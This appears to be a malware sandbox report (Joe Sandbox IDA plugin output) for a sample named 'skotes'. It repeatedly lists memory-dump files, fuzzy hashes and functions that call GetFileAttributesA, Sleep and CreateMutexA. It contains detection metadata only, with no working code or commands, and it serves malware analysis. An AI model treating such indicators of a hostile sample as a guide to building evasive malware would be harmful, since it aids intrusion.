Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: dc241d5ae70287a26c38aacb6cd069944f400890bb54c04045b5233294550a2b
Instruction ID: 4190d4a10e8cbbbc42b29d4a9b63551ea5796d486db4a9f3562e0a54f0020f4a
Opcode Fuzzy Hash: dc241d5ae70287a26c38aacb6cd069944f400890bb54c04045b5233294550a2b
Instruction Fuzzy Hash: 5B312A717142088BEB1C9B78DD8577DBBA2FBC5324F208219E258D77D5CB7559808712

Function 008FA079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 008FA07C
Sleep.KERNEL32(00000064,?), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: f14472d03c5616ed5e5018f4b4b0839cf554ead3433f944b3d4061032a0d96cc
Instruction ID: 83782e85619ddfb148446329b664277ab88adeb3cf8b9de85dc64ec11cf6d6dd
Opcode Fuzzy Hash: f14472d03c5616ed5e5018f4b4b0839cf554ead3433f944b3d4061032a0d96cc
Instruction Fuzzy Hash: AA3128B17142489BEB1CDBB8DD85B7DBB72EBC1324F208218E228D77D5C77659808712

Function 008FA1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 008FA1B1
Sleep.KERNEL32(00000064,?), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 91cd010a4b226a6ee2ecb967968b6408490ca5347e9f8e2bd2f208b3adc2e086
Instruction ID: 0b0dcb39ae85fc2831f6c53516bad1ea797e9edf19b19ce31895b90f770e6286
Opcode Fuzzy Hash: 91cd010a4b226a6ee2ecb967968b6408490ca5347e9f8e2bd2f208b3adc2e086
Instruction Fuzzy Hash: FC3127B17042489BEB1C9BB8DD89B7DBB66FBC5324F208228E218D73D5D77659808712

Function 008FA2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 008FA2E6
Sleep.KERNEL32(00000064,?), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 5293270351cbacf697b4ab72fc1cbad95b7a46613c58e555036fa61eeba8185a
Instruction ID: 6c16341b5d5cf94c5a9bd1366052d5e69f2e16a551f4e13bf9109459166aea0f
Opcode Fuzzy Hash: 5293270351cbacf697b4ab72fc1cbad95b7a46613c58e555036fa61eeba8185a
Instruction Fuzzy Hash: 9A312AB17142489BEB1C9B78DD8577DBB72FBC1324F208218E618D77D5C77699808712

Function 008FA418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 008FA41B
Sleep.KERNEL32(00000064,?), ref: 008FA963
CreateMutexA.KERNEL32(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000006.00000002.3309802906.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000006.00000002.3309682662.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3309802906.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310174795.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310298710.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3310448555.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311072314.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311273047.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311460701.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311803548.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3311968029.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312162977.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312261044.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312413276.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312541729.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312694121.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3312889149.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313030489.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313179159.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313334774.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313502172.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313647998.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313801205.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3313888200.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314044937.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314199166.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314385371.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314645615.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314809389.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3314965585.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315192805.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315355205.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315515705.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315778861.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3315980297.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316211752.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316416467.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316558464.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316733952.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3316942333.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317227912.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317379463.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317505456.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317633882.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317761374.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3317964875.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3318137531.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319567386.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319769001.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3319922451.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320101877.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320266617.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320430233.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320590447.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320713578.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3320889822.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

